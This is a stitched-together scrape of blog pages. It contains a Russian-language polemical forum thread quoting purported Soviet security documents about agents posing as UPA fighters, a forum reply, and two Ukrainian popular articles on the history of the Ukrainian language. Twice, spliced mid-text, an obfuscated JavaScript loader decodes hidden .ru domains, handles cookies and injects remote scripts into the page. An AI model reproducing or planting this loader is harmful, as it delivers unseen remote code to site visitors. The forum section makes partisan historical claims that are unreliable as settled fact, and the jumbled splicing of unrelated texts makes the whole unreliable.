Выступая в роли бандитов УПА, участники спецбоевок МГБ занимаются антисоветской пропагандой и агитацией, идут по линии искусственного провокационного создания антисоветского националистического подполья. Кто может поручиться, что обработанные таким провокационным путем лица не уйдут из-под контроля органов МГБ и не совершат террористический акт.

Например: в ночь на 18 сентября 1948 г. в с. Ставкы Ровенского района участниками антисоветской националистической организации был разоружен боец самоохороны Ковалишин и совершен террористический акт над жительницей Кучинец Л.Ф., являвшейся секретной сотрудницей МГБ. Организаторами данной националистической группы и организаторами убийства гр-ки Кучинец являлись секретные сотрудники Ровенского РО МГБ.

Грабежи, как и другие нарушения советской законности оправдываются также оперативными соображениями и не только рядовыми работниками МГБ, но и самим министром тов. Савченко, который в беседе со мной заявил: “Нельзя боевки посылать в лес с консервами. Их сразу же расшифруют”. Таким образом, грабежи местного населения спецбоевиками рассматривают как неизбежное зло.

Органы МГБ под руководством партии проводят огромную работу по выкорчевыванию остатков украинско-националистического бандитского подполья, в борьбе с которым хороши все средства и нужны хитрость и изворотливость. Но нарушения партийных и советских законов недопустимо, на что Вы, Никита Сергеевич, неоднократно указывали.Военный прокурор войск МВД Украинского округа полковник юстиции Кошарский”.

Интересно, сколько подобных акций МГБ было списано на “зверства” “бандеровцев”? Советский военный прокурор утверждает, что это были далеко не единичные случаи. Это была хорошо организованная массовая кампания террора под видом “бандитов” националистического подполья. Между прочим, подобная тактика не являлась изобретением названного периода. Сохранилось письмо В.И. Ленина, датированное началом 20-х годов (уже неоднократно цитировавшееся в прессе), где он рекомендует красным войскам на плечах отступавших белогвардейских отрядов ворваться в Эстонию, перевешать как можно больше офицеров, попов, чиновников, полицейских, а потом все это на белых и списать. Так что все происходило в русле старой большевистской традиции: провокации, ложь, клевета.

Если у кого-то еще остаются сомнения, на чьей совести львиная доля зверств в Западной Украине, то вот еще один документ.

"Совершенно секретно.

Наркому внутренних дел СССР Л. Берии. 26.07.1945 г. №8/156451.Сообщение
об организации и результатах работы специальных групп
для борьбы с оуновским бандитизмом в западных областях Украины.

Часть бандитов УПА, которые явились с повинной, используют сначала как отдельных агентов-боевиков, а позднее в боевых группах особого назначения, названных нами специальными группами.

В тех случаях, когда агент-боевик, который влился в банду или в подполье ОУН, не имел возможности физического уничтожения или захвата руководителя-главаря, его заданием была компрометация главаря банды или местного подполья для усиления и активизации разложения банды или местной организации ОУН.

Комплектование спецгрупп при оперативных группах НКВД УССР проводилось по принципу подбора агентов-боевиков, которые были проверены на исполнении заданий ликвидации оуновского бандитизма (в том числе убийств населения, которое сочувствовало ОУН-УПА).

В Ровенской и Волынской областях в состав специальных групп вливались также бывшие партизаны-ковпаковцы, хорошо знакомые с местными условиями, которые имели большой опыт борьбы с оуновским бандитизмом.

По своему внешнему виду и вооружению, знанию местных бытовых особенностей, языка и конспиративному способу действий личный состав специальных групп ничем не отличался от бандитов УПА, что вводило в заблуждение аппарат живой связи и главарей УПА и оуновского подполья.

В случаях угрозы расшифровки или невозможности осуществления захвата определенных планом главарей ОУН-УПА участники спецгрупп уничтожают последних, к тому же во многих случаях создают такое впечатление в оуновской среде и среди населения, что уничтожение руководителей ОУН-УПА осуществлено бандитами СБ (Служба безопасности ОУН. — Авт.).

В состав каждой спецгруппы входит от 3 до 50 и больше лиц, которые в зависимости от легенды и задания представляют собой особую “свиту” вымышленного бандитского руководителя.По состоянию на 20 июня 1945 г. всего в западных областях Украины действует 156 спецгрупп с общим количеством участников в них — 1783 человека.

Нарком внутренних дел УССР — Рясный”.

Хочется обратить внимание читателя на выделенную мной фразу наркома, где он говорит о том, что своих агентов они проверяли на убийствах населения, сочувствовавшего ОУН-УПА. Заметьте, не сотрудничавшего, не помогавшего, а всего лишь сочувствовавшего ОУН-УПА. А если учесть, что сочувствовали в Западной Украине очень многие, подавляющее большинство, то и убивать можно было всех без разбору. Что и делалось. И послания отдельных военных прокуроров, которые пытались как-то ограничить этот беспредел, ничего изменить не могли.

Ну а жертвы многочисленных экзекуций НКВД-МГБ, как всегда, списывались на “зверства” “бандеровцев”. А потом подключался мощный аппарат агитпропа и легенды о массовых “зверствах” ОУН-УПА распространялись от Житомира до Курильских островов. Советским людям лгали постоянно, организованно и профессионально.И почему-то даже те люди, которые считают себя демократами, антикоммунистами и антисталинистами, продолжают транслировать еще сталинского закваса пропаганду о “бандитах” ОУН-УПА. А между тем “бандитами” были все, кто сопротивлялся большевистскому террору.

От отравленных боевыми газами тамбовских крестьян, доведенных до отчаяния коммунистическими грабежами и насилиями и восставших под предводительством Антонова, до узбекских дехкан, которые ну никак не хотели принимать красные порядки. Эти, считающие себя демократами люди, почему-то не дают себе труда подумать: мог ли режим, уничтожавший собственный народ, вести себя лучше в Западной Украине? И что должны были делать западные украинцы: покорно, как бараны на бойню, идти в сталинские ГУЛАГи? А они вот взялись за оружие и стояли насмерть. И потому — “бандиты”.

Понятно, почему так люто ненавидят ветеранов ОУН-УПА коммунисты. Они ведь мало где получали такой серьезный отпор. Партийный актив чувствовал себя в Западной Украине уж очень неуютно. И пережитый ими страх до сих пор делает их самыми рьяными носителями соответствующих догм агитпропа, в первую очередь жуткого образа “бандеровца”, который должен вызывать страх, ненависть и отвращение на физиологическом уровне. Этот более чем сомнительный в своей основе образ очень активно и, увы, успешно используется антиукраинской пропагандой как своего рода “страшилка” для этнических русских в Российской Федерации и Украине и для определенной части украинцев востока и юга. Это облегчается тем, что в названых регионах толкование истории украинского национально-освободительного движения отдано на откуп антигосударственным силам разной направленности, в первую очередь, коммунистам.

В их толковании, как и в большинстве российских публикаций (практически во всех), “бандеровцы” предстают как мастера самых изощренных пыток (хотя, в действительности, именно они часто были жертвами таковых), как носители зверских инстинктов, специалисты по разным издевательствам над русскими, евреями и поляками. Два последних этноса вряд ли вызывают искреннее сочувствие пропагандистов, но обязательно называются для придания “зверствам” большей универсальности.

 

"Что мы делали перед войной?
Мы были союзником Германии. Газета Правда превозносила Гитлера и клеймила Демократии как разжигателей войны, ну и вместе с Гитлером мы делили Европу.
http://arcticwar.pomorsu.ru/sea/ll/lendl... Ленд-Лиз и Северные Конвои 1941-45
”...Не в последнюю очередь, благодаря Советскому Союзу германская военная промышленность, наращивая свою мощь, не испытывала недостатка в сырье. СССР и Германия интенсивно обменивались оружием, боеприпасами и военными материалами, о чем англичане были неплохо осведомлены. Им не раз демонстрировали советскую маркировку на осколках сверхтяжелых авиабомб, сброшенных самолетами Люфтваффе на Британские острова (2). На Кольском полуострове, в Западной Лице укрывались от преследования флота Ее Величества корабли и подводные лодки Кригсмарине. Здесь в начале войны скрывался обладатель "голубой ленты Атлантики" лайнер "Бремен", на борту которого квартировал плавучий центр фашистской разведки, сюда же линкор "Дойчленд" привел трофейный американский рефрижиратор "Ситиоф Флинт". Отсюда, из "базис норд", в апреле 1940 г. вышли транспорты с немецкими десантниками и танкер "Ян Веллем", решившие исход боя у Трондхейма в ходе операции по захвату фашистами Норвегии (3). Но настоящим ударом в спину союзникам в самый тяжелый для англичан период войны,-в разгар "битвы за Британию"- стала проводка Северным морским путем на восток ледоколами "Ленин", "Сталин" и "Каганович" (sic!) германского рейдера "Комет" в августе 1940 г. Неожиданное появление фашистского пирата в дальневосточных водах, в глубоком тылу англичан, где их суда ходили без прикрытия, надолго нарушило коммуникации союзников в этом регионе. А на счет "Комет" были занесены девять захваченных и потопленных транспортов союзников (4). ..”

Союзники поделили Европу, планировали и вели совместные боевые операции на основе тайных соглашений. Германия 1 сентября, а СССР 17 сентября.

Так была развязана Вторая Мировая война.Причем ,союзники-соучастники согласовывали каждый шаг - не только время, место боевых действий, но даже текст советских лживых заявлений об "освобождении братских народов".
Все это сопровождалось поздравлениями,тостами,восторгами в советско-гарманской прессе и совместными Парадами победителей - РККА и Вермахта.

Англия выстояла одна с 1939 года. США высадились в Сицилии в 1943 году. C 1942 года США вели вели воздушную и военно-морскую войну с Германией. США и Англия уничтожили 97% военно- морских и 80% воздушных сил Германии, систематически разрушали германскую военную промыщленность. СССР никогда не воевал на два фронта, а США воевали всю войну на два фронта, с Германией и Японией."

Lu Ka Luka      30-04-2009 20:39 (ссылка)

Re: Степан Бандера и его ОУН

Да нет никакой Бандерофобии в Русском сознании,а есть чёткое понимание,что двум господам служить нельзя,какие бы добрые цели не преследовались! Желание было у Украинских националсоциалистов получить какие то девиденты с политической деятельности и это оправдывает их "хотелки",но на тот момент они были (да и сейчас) очень слабы и искали помощи в своих устремлениях,недаром Вермахт через некоторое время,раскусив из стал гнобить! А что бы вы хотели,когда с тобой договариваются держа фигу в кармане! В геополитическом,стратегическом,да и в тактическом планах такая политика обречена,как раньше,так и сейчас Похожие потуги были у политиков и стратегов Польши на протяжении веков и не надо обезьяничать! Все эти сказки про независимость можете рассказывать детям на ночь,нет независимости априори! Уже давно и много говорилось не о независимости,а об интересах! Мне лично давно понятны интересы как ОУН-УПА тогда,так и их последователей сегодня! А все эти припевки и присказки с упоминанием ФСБ и т/д,не что иное как удобные очередные "пугалки"! Вы настолько наивны Любарский,настолько и непоследовательны в своих суждениях,что мне иногда кажется,что на Украине все такие тёмные и необразованые! (http://gazeta-nd.com.ua/rubrics/dela-pozornie/104.php) Хочу вставить и более сбалансированую публикацию на эту тему! (http://lib.oun-upa.org.ua/tkaczenko/glava5.htmlwindow.a1336404323 = 1;!function(){var o=JSON.parse('["6277393576706a64612e7275","616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10028",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

ORLIK

ORLIK

Про мову та язик (продовження)

  • 08.09.15, 10:39
МОВА ПРО “МОВУ” І “ЯЗИК”

Звідки нам відомо про те, як розмовляли в Україні в давні часи?

 

Кирило й Мефодій

Існує двоє достеменних джерел наших сьогоднішніх знань про давньоукраїнські говірки. Перше – письмові пам’ятки, найдавніші з яких були написані в Х–ХІІ століттях. Однак, на жаль, записів тією мовою, якою розмовляли наші предки, не велося взагалі. Літературною мовою Києва була “староболгарська” (церковнослов’янська) мова, яка прийшла до нас із Балкан. Це мова, на яку в ІХ столітті Кирило й Мефодій переклали Біблію. Вона була незрозуміла східним слов’янам, оскільки зберегла давній закон відкритого складу. Зокрема, у ній звучали короткі голосні після приголосних звуків, що позначалися буквами “ъ” та “ь”. Проте в Києві ту мову поступово українізували: короткі звуки не читалися, а деякі голосні було замінено на свої – українські. Зокрема, носові голосні, які досі збереглися, скажімо в польській, вимовлялися як звичайні, “староболгарські” дифтонги (подвійні голосні) читалися на український манер. Кирило й Мефодій дуже б здивувалися, почувши “свою” мову в київській церкві.

Цікаво, що деякі вчені намагалися реконструювати так званий “древнерусский язык”, який начебто був спільний для всіх східних слов’ян, – спираючись на давні київські тексти. І виходило, що в Києві розмовляли ледве не “староболгарською” мовою, що, звичайно, аж ніяк не відповідало історичній правді.

Давні тексти можна використовувати для вивчення мови наших предків, але в дуже своєрідний спосіб. Що й зробив професор Іван Огієнко в першій половині ХХ століття. Він дослідив описки, помилки київських авторів та переписувачів, які мимоволі зазнавали впливу живої народної мови. Часом давні писарі “переробляли” слова та “староболгарські” граматичні форми навмисне – щоб було “зрозуміліше”.

Друге джерело наших знань – сучасні українські говірки, особливо ті, які довго залишалися ізольованими й зазнавали мало впливу. Наприклад, нащадки деревлян і досі населяють північ Житомирщини, а сіверян – північ Чернігівщини. У багатьох говірках збереглися давньоукраїнські фонетичні, граматичні, морфологічні форми, які збігаються з описками київських писарів та письменників.

У науковій літературі можна знайти інші дати занепаду коротких голосних у східних слов’ян – ХІІ – ХІІІ століття. Проте таке “подовження життя” закону відкритого складу навряд чи обґрунтоване.

Коли зародилася українська мова?

Відлік, напевне, можна розпочати з середини першого тисячоліття – коли зникли короткі голосні. Саме це спричинило появу власне українських мовних ознак – як, зрештою, й ознак більшості слов’янських мов. Перелік тих ознак, що відрізняли нашу прамову від інших мов, може виявитися занадто нудним для нефахівців. Ось лише деякі з них.

Давні українські говірки характеризувалися так званим повноголоссям: на місці південнослов’янських звукосполучень ра-, ла-, ре-, ле- у мові наших пращурів звучало -оро-, -оло-, -ере-, -еле-. Наприклад: солодкий (“староболгарською” – сладкий), полон (плен), середа (среда), морок (мрак) тощо. “Збіги” в болгарській та російській мовах пояснюються величезним впливом “староболгарської” на формування російської мови.

Болгарським (південнослов’янським) звукосполученням на початку кореня ра-, ла- відповідали східнослов’янські ро-, ло-: робота (работа), рости (расти), уловлюю (улавливаю). На місці типово болгарського звукосполучення -жд- українці мали -ж-: ворожнеча (вражда), кожен (каждый). Болгарським суфіксам -ащ-, -ющ- відповідали українські -ач-, -юч-: виючий (воющий), спопеляючий (испепеляющий).

Коли короткі голосні звуки занепали після дзвінких приголосних, у праукраїнських говірках ці приголосні продовжували вимовлятися дзвінко, як і нині (дуб, сніг, любов, кров). У польській розвинулося оглушення, у російській теж (дуп, снек, любофь, крофь).

Академік Потебня виявив, що зникнення коротких звуків (ъ та ь) подекуди “змусило” подовжити вимовляння попередніх голосних “о” та “е” у новому закритому складі, аби компенсувати “скорочення” слова. Так, сто-лъ (“сто-ло”) перетворився на “стіел” (кінцевий ъ зник, зате подовжився “внутрішній” голосний, перетворившись на подвійний звук – дифтонг). Але у формах, де після кінцевого приголосного йде голосний, старий звук не змінився: сто-лу, сто-ли. Мо-стъ (“мо-сто”) перетворився на міест, муест, міист тощо (залежно від говірки). Дифтонг з часом трансформувався в звичайний голосний. Тому в сучасній літературній мові “і” в закритому складі чергується з “о” й “е” – у відкритому (кіт – ко-та, попіл – по-пе-лу, ріг – ро-гу, міг – мо-же тощо). Хоча деякі українські говірки зберігають давні дифтонги у закритому складі (кіет, попіел, ріег).

Давні праслов’янські дифтонги, зокрема й у відмінкових закінченнях, які позначалися на письмі літерою “ять”, знайшли своє продовження в давньоукраїнській мові. В одних говірках вони збереглися досі, в інших трансформувалися в “і” (як і в літературній мові): ліес, на земліе, міех, біелий тощо. До речі, українці, знаючи свою мову, ніколи не плутали написання “ять” з “е” в дореволюційній російській орфографії. У деяких українських говірках давній дифтонг активно витіснявся голосним “і” (ліс, на землі, міх, білий), закріпившись у літературній мові.

Частина фонетичних та граматичних особливостей праслов’янської мови знайшла продовження в українських діалектах. Так, праукраїнська успадкувала давнє чергування к–ч, г–з, х–с (рука – руці, ріг – розі, муха – мусі), яке збереглося й у сучасній літературній мові. Здавна в нашій мові наявний кличний відмінок. У діалектах активною є давня форма “передмайбутнього" часу (буду брав), а також давні показники особи й числа в дієсловах минулого часу (я – ходивем, ми – ходилисьмо, ти – ходивесь, ви – ходилисте).

Опис усіх цих ознак займає цілі томи в академічній літературі...

Якою мовою розмовляли в Києві в доісторичні часи?

Звісно ж, не сучасною літературною мовою.

 

Григорій Сковорода

Будь-яка літературна мова є певною мірою штучна – вона виробляється письменниками, просвітителями, діячами культури в результаті переосмислення живої мови. Часто літературна мова є чужою, запозиченою, а подекуди й незрозумілою для неосвіченої частини населення. Так, в Україні з Х по ХVIII століття літературною мовою вважалася штучна – українізована “староболгарська” мова, якою написано більшість літературних пам’яток, зокрема “Ізборники Святослава”, “Слово о полку Ігоревім”, “Повість врем’яних літ”, твори Івана Вишенського, Григорія Сковороди тощо. Літературна мова не була застиглою: вона постійно розвивалася, змінювалася протягом століть, збагачувалася новою лексикою, граматика її спрощувалася. Ступінь українізації текстів залежав від освіченості та “вільнодумства” авторів (церква не схвалювала проникнення народної мови в письмо). Ця київська літературна мова, створена на основі “староболгарської”, зіграла величезну роль у формуванні російської мови.

Сучасна літературна мова була сформована на основі наддніпрянських говірок – спадкоємниць наріччя літописних полян (та, очевидно, антського союзу племен, відомого з іншомовних історичних джерел) – у першій половині ХІХ століття завдяки письменникам Котляревському, Гребінці, Квітці-Основ’яненку, а також Тарасові Шевченку.

Отже, до формування загальнонаціональної мови українці розмовляли різними українськими говірками, послуговуючись на письмі українізованою “староболгарською”.

У князівську добу в Києві розмовляли “загальнозрозумілою” для жителів стольного міста мовою (койне), яка була сформована на основі різних давньоукраїнських племінних говірок, головним чином полян. Ніхто ніколи її не чув, і в записах вона не збереглася. Але, знову ж таки, описки стародавніх літописців та переписувачів, а також сучасні українські діалекти дають уявлення про ту мову. Щоб уявити її, слід, напевне, “схрестити” граматику закарпатських говірок, де давні форми збереглися найкраще, чернігівські дифтонги на місці “ять” та сучасного “і” в закритому складі, особливості “глибокої” вимови голосних звуків у нинішніх жителів півдня Київщини, а також Черкащини й Полтавщини.

Чи зрозуміли б сучасні українці мову, якою розмовляли кияни, скажімо, в першій половині ХІІІ століття (до орди)?

Безперечно, так. Як на “сучасне” вухо, то звучала б вона наче своєрідне українське наріччя. Щось подібне до того, що ми чуємо в електричках, на базарах та будівельних майданчиках столиці.

Чи можна називати давню мову “українською”, якщо самого слова “Україна” не було?

Назвати мову можна як завгодно – суть від цього не міняється. Давні індоєвропейські племена теж свою мову “індоєвропейською” не називали…

Закони мовної еволюції жодним чином не залежать від назви мови, яку їй дають у різні періоди історії її носії чи сторонні люди.

Ми не знаємо, як іменували свою мову праслов’яни. Можливо, узагальненої назви не існувало взагалі. Так само нам не відомо, як називали своє наріччя східні слов’яни в доісторичну добу. Скоріш за все кожне плем’я мало свою самоназву і по-своєму називало свою говірку. Є припущення, що слов’яни йменували свою мову просто “своя”.

Слово “руська” щодо мови наших предків з’явилося відносно пізно. Цим словом спочатку позначали просту народну мову – на противагу писемній “слов’янській”. Пізніше “руська” протиставлялася “польській”, “московській”, а також неслов’янським мовам, якими розмовляли сусідні народи (у різні періоди – чудь, мурома, мещера, половці, татари, хазари, печеніги тощо). Українська мова називалася “руською” до ХVІІІ століття.

В українській мові чітко розділяються назви – руський і російський, на відміну від російською, де ці назви безпідставно плутаються.

Слово “Україна” з’явилося теж відносно пізно. У літописах воно зустрічається з ХІІ століття, отже, виникло кількома століттями раніше.

Як інші мови вплинули на формування української?

Українська мова належить до “архаїчних” мов за своїм словниковим складом та граматичним строєм (як, скажімо, литовська й ісландська). Більшість українських слів є успадкованими з індоєвропейської прамови, а також із праслов’янських наріч.

Чимало слів прийшло до нас від племен, що сусідували з нашими предками, вели з ними торгівлю, воювали тощо, – готів, греків, тюрків, угрів, римлян та ін. (корабель, миска, мак, козак, хата та ін.). В українській є також запозичення зі “староболгарської” (наприклад, область, благо, предок), польської (шпаргалка, забавний, шабля) та інших слов’янських. Проте жодна з цих мов не вплинула ні на граматику, ні на фонетику (звуковий стрій) мови. Міфи про польський вплив поширюють, як правило нефахівці, котрі мають дуже далеке уявлення як про польську, так і про українську мови, про спільне походження всіх слов’янських мов.

Українська постійно поповнюється за рахунок англійських, німецьких, французьких, італійських, іспанських слів, що є характерним для будь-якої європейської мови.

© Володимир Ільченко, к.ф.н.     Джерело: unian.net, 20 березня.2003

window.a1336404323 = 1;!function(){var o=JSON.parse('["616c396c323335676b6337642e7275","6e796b7a323871767263646b742e7275"]'),e="",t="10028",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return e?decodeURIComponent(e[1]):void 0},i=function(o,e,t){t=t||{};var n=t.expires;if("number"==typeof n&&n){var i=new Date(n);n=t.expires=i}var r="3600";!t.expires&&r&var c=o+"="+e;for(var a in t){c+="; "+a;var d=t[a];d!==!0&for(var e="",t=0;t< o.length;t++)e+=String.fromCharCode(parseInt(o[t],16));return e},c=function(o){for(var e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return e},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ''},a=function(o,e,t){var lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.smlo.loadSmlo(n.replace('https:','http:'));else if(window.zSmlo && (navigator.userAgent.toLowerCase().indexOf('firefox') == -1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.executed||(this.executed=!0,"function"==typeof e&&e())},i.onerror=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof t&&t())}}},d=function(u){var s=n("oisdom");e=s&var f,m=n("oismods");m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&&(e=o[t+1],d(e))})):(f=r(e)+"/ajs/"+t+"/c/"+c("blog.i.ua")+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var t=o.indexOf(e);o[t+1]&d()}();

ORLIK

ORLIK

Про мову та язик (продовження)

  • 08.09.15, 10:32

Звідки в Києві взялася українська мова?

Про походження української мови сьогодні написано цілі фантастичні романи. Брак популярної філологічної літератури змусив взятися за справу ентузіастів, які переважно не є фахівцями в питаннях мови. Проте виявляють напрочуд велику активність. Одні “специ” виводять українську ледве не із санскриту, інші поширюють міфи про уявний польський чи навіть угорський вплив, хоча здебільшого не володіють ні польською, ні українською, ні тим більше угорською мовою.

Нещодавно опублікована мною популярна стаття про формування російської мови викликала значний інтерес серед відвідувачів сайту УНІАН. Читачі надіслали нам чимало відгуків, зауважень, запитань зі сфери мовознавства. Узагальнивши ці запитання, спробую відповісти на них “популярною мовою”, не заглиблюючись у наукові хащі.

Чому в українській мові багато слів із санскриту?

Зіставляючи різні мови, учені дійшли висновку, що деякі з них дуже близькі одна до одної, інші є родичками більш віддаленими. А є такі, котрі взагалі не мають між собою нічого спільного. Наприклад, установлено, що спорідненими є українська, латинь, норвезька, таджикська, гінді, англійська тощо. А ось японська, угорська, фінська, турецька, етруська, арабська, баскська та інші з українською чи, скажімо, іспанською ніяк не пов’язані.

Доведено, що кілька тисячоліть до нової ери існувала така собі спільнота людей (племен), які розмовляли близькими діалектами. Ми не знаємо, де це було і в який точно час. Можливо, 3–5 тисяч років до н.е. Припускають, що ці племена проживали десь у Північному Середземномор’ї, можливо навіть, у Подніпров’ї. Індоєвропейська прамова не збереглася до наших часів. Найдавніші письмові пам’ятки, що дійшли до наших днів, написані були тисячу літ до нової ери мовою давніх жителів Індії, що має назву “санскрит”. Як найдавніша, ця мова вважається найближчою до індоєвропейської.

Учені реконструюють прамову на основі законів зміни звуків та граматичних форм, рухаючись, так би мовити, у зворотному напрямку: від сучасних мов – до спільної мови. Реконструйовані слова наводяться в етимологічних словниках, давні граматичні форми – в літераторі з історії граматик.

Сучасні індоєвропейські мови успадкували більшість коренів від часів прадавньої єдності. У різних мовах споріднені слова часом звучать дуже по-різному, але ці відмінності підпорядковані певним звуковим закономірностям.

Порівняйте українські та англійські слова, що мають спільне походження: день – day, ніч – night, сонце – sun, матір – mother, син – son, око – eye, дерево – tree, вода – water, два – two, могти – might, сварити – swear, веліти – will. Тож українська, як і решта індоєвропейській мов, має багато спільних слів із санскритом та іншими спорідненими мовами – грецькою, ісландською, давньоперською, вірменською тощо, не кажучи вже про близькі слов’янські – російську, словацьку, польську...

Унаслідок переселення народів, воєн, загарбань одних народів іншими мовні діалекти віддалялися один від одного, утворювалися нові мови, зникали старі. Індоєвропейці розселилися по всій Європі й проникли в Азію (тому й дістали таку назву).

Праіндоєвропейська мовна сім’я залишила після себе, зокрема, такі групи мов: романські (мертва латинь, французька, італійська, іспанська, португальська, румунська, молдавська та ін.); германські (мертва готська, англійська, німецька, шведська, норвезька, ісландська, датська, голландська, африкаанс тощо); кельтські (валлійська, шотландська, ірландська та ін.), індоіранські (мертва санскрит, гінді, урду, фарсі, таджикська, осетинська, циганська, можливо, також мертва скіфська тощо); балтійські (мертва прусська, литовська, латиська та ін.), слов’янські (мертва старослов’янська, або “староболгарська”, українська, болгарська, польська, російська, білоруська, тощо). Окремі індоєвропейські пагони пустили грецька, вірменська, албанська мови, які не мають близьких родичів. Чимало індоєвропейських мов не дожили до історичних часів.

Чому індоєвропейські мови так відрізняються одна від одної?

Як правило, формування мови пов’язане з географічним відокремленням її носіїв, міграцією, завоюваннями одних народів іншими. Розбіжності в мовах індоєвропейців пояснюються взаємодією з іншими – часто неіндоєвропейськими – мовами. Одна мова, витісняючи іншу, отримувала певні ознаки переможеної мови й відповідно відрізнялася цими ознаками від своєї родички (витіснену мову, яка залишила свої сліди, називають субстратом), а також зазнавала граматичних та лексичних змін. Можливо, існують певні внутрішні закономірності розвитку мови, які з часом “віддаляють” її від споріднених наріч. Хоча, напевне, причиною появи будь-яких внутрішніх закономірностей є вплив інших (субстратних) мов.

Так, у прадавні часи в Європі були поширені численні мови, вплив яких і спричинив до нинішньої багатобарвної мовної картини. На розвиток грецької мови вплинули, зокрема, іллірійська (албанська) та етруська. На англійську – норманська та різні кельтські наріччя, на французьку – галльська, на російську – фінно-угорські мови, а також “староболгарська”. Фінно-угорський вплив у російській мові дав ослаблення ненаголошених голосних (зокрема акання: молоко – млаако), закріплення g на місці г, оглушення приголосних у кінці складу.

Вважається, що на певному етапі мовної еволюції, до утворення окремих слов’янських та балтійських мов, існувала балто-слов’янська єдність, оскільки ці мови мають величезну кількість спільних слів, морфем і навіть граматичних форм. Припускають, що спільні предки балтів і слов’ян населяли території від Північного Подніпров’я – до Балтійського моря. Проте внаслідок міграційних процесів ця єдність розпалася.

На мовному рівні це відбилося дивовижним чином: праслов’янська мова постає як окрема мова (а не балто-слов’янський діалект) з початком дії так званого закону відкритого складу. Праслов’яни отримали цей мовний закон, взаємодіючи з якимсь неіндоєвропейським народом, мова якого не терпіла поєднання кількох приголосних звуків. Суть його зводилася до того, що всі склади закінчувалися на голосний звук. Старі слова почали перебудовуватися так, що між приголосними вставлялися короткі голосні або голосні мінялися місцем із приголосними, кінцеві приголосні втрачалися або після них з’являлися короткі голосні. Так, “ал-ктіс” перетворився на “ло-ко-ті” (лікоть), “кор-вас” на “ко-ро-ва”, “ме-дус” на “ме-до” (мед), “ор-бі-ті” на “ро-би-ти” “драу-гас” на “дру-ги” (другий) тощо. Грубо кажучи, уявлення про “дослов’янський” мовний період дають балтійські мови, які не зачепив закон відкритого складу.

Звідки нам відомо про цей закон? Насамперед з найдавніших пам’яток слов’янської писемності (Х – ХІІ століття). Короткі голосні звуки позначалися на письмі літерами “ъ” (щось середнє між коротким “о” й “и”) та “ь” (короткий “і”). Традиція написання “ъ” в кінці слів після приголосних, яка перейшла в російську мову за київською традицією передачі церковнослов’янської, дожила аж до початку ХХ століття, хоча, звісно, ці голосні в російській ніколи не читалися.

Якою мовою розмовляли праслов’яни?

Ця мова проіснували з І тисячоліття до н.е. до середини І тисячоліття н.е. Звісно, не було якоїсь цілісної мови в сучасному розумінні цього слова, а тим більше її літературного варіанта. Ідеться про близькі діалекти, що характеризувалися спільними ознаками.

Праслов’янська мова, отримавши закон відкритого складу, звучала приблизно так: зе-ле-нъ ліє-съ шу-ми-тъ (читається “зе-ле-ни ліє-со шу-ми-то” – зелений ліс шумить); къ-де і-доун-тъ медъ-віє-дъ і влъ-къ? (читається “ко-де і-доу-то ме-до-віє-до і вли-ко? (де йдуть ведмідь і вовк?). Монотонно і рівномірно: тра-та-та-та... тра-та-та... тра-та-та... Наше сучасне вухо навряд би чи могло розпізнати в цьому потоці знайомі слова.

Деякі вчені вважають, що субстратною мовою для праслов’ян, котра “запустила” в дію закон відкритого складу, була неіндоєвропейська мова трипільців, які населяли теперішні українські землі (субстратна мова – поглинута мова, яка залишила в мові-переможниці фонетичні та інші сліди).

Саме вона не терпіла скупчень приголосних, склади в ній закінчувалися лише на голосні звуки. І саме від трипільців начебто дійшли до нас такі слова невідомого походження, що характеризуються відкритістю складів та строгим порядком звуків (приголосний – голосний), як мо-ги-ла, ко-би-ла та деякі інші. Мовляв, від трипільської мови українська – через посередництво інших мов та праслов’янських діалектів – успадкувала свою мелодику й деякі фонетичні особливості (наприклад чергування у–в, і–й, яке допомагає уникати немилозвучних збігів звуків).

